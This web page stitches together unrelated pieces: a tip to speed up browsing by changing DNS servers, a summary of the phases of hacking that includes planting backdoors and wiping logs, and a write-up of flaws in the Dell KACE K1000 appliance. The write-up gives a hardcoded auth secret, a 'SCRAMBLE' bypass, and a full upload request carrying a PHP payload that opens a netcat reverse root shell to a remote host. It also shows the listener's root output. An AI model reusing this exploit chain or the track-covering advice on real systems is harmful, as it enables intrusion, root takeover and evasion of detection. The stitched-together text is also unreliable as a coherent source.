Internet speed is the most cared factor when you buy an internet connection. What if still, you face a slow speed browsing problem? No worries, as I came with a solution to this problem. I will let you know how to boost up browsing speed. It's very simple to follow.

SO, HOW TO BOOST UP BROWSING SPEED?

There can be many ways you can get a speedy browsing whether you use paid service or free hacks. I am going to share this free speed hack with you.

STEPS TO FOLLOW

Navigate to Control Panel > Network and Internet Options > Network and Sharing Center.
Now look for the active internet connection to which you're currently connected to.
Open up Connection Properties of your active connection.
Click on IPv4 and open its Properties.
Here you will notice your DNS, you just need to change your DNS address with the following DNS.
Preferred DNS server: 208.67.222.222
Alternate DNS server: 208.67.220.220
Once done, save it and no configure it for IPv6. Just change the IPv6 DNS with the following DNS.
Preferred DNS server: 2620:0:ccc::2
Alternate DNS server: 2620:0:CCD::2
Finally, save and you're done with it.

That's all. You have successfully learned how to boost up browsing speed. Hope it will work for you. Enjoy speedy internet..!

What is the process of hacking or phases of hacking?
Hacking is broken up into six phases:The more you get close to all phases,the more stealth will be your attack.

1-Reconnaissance-This is the primary phase of hacking where hacker tries to collect as much as information as possible about the target.It includes identifying the target,domain name registration records of the target, mail server records,DNS records.The tools that are widely used in the process is NMAP,Hping,Maltego, and Google Dorks.

2-Scanning-This makes up the base of hacking! This is where planning for attack actually begins! The tools used in this process are Nessus,Nexpose,and NMAP. After reconnaissance the attacker scans the target for services running,open ports,firewall detection,finding out vulnerabilities,operating system detection.

3-Gaining Access-In this process the attacker executes the attack based on vulnerabilities which were identified during scanning! After the successful, he get access to the target network or enter in to the system.The primary tools that is used in this process is Metasploit.

4-Maintaining Access-It is the process where the hacker has already gained access in to a system. After gaining access the hacker, the hacker installs some backdoors in order to enter in to the system when he needs access in this owned system in future. Metasploit is the preffered toll in this process.

5-Clearning track or Covering track-To avoid getting traced and caught,hacker clears all the tracks by clearing all kinds of logs and deleted the uploaded backdoor and anything in this process related stuff which may later reflect his presence!

6-Reporting-Reporting is the last step of finishing the ethical hacking process.Here the Ethical Hacker compiles a report with his findings and the job that was done such as the tools used,the success rate,vulnerabilities found,and the exploit process.

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:

That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:

http://targethost/service/kbot_upload.php

This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:

private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}

The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.

In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):

if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {

Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:

POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>

Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:

http://targethost/service/tmp/db.php

On our host:

~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

So at the end of the the day the count looks like this:

Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1

That all adds up to owned last time I checked.

Example PoC can be found at the following location:
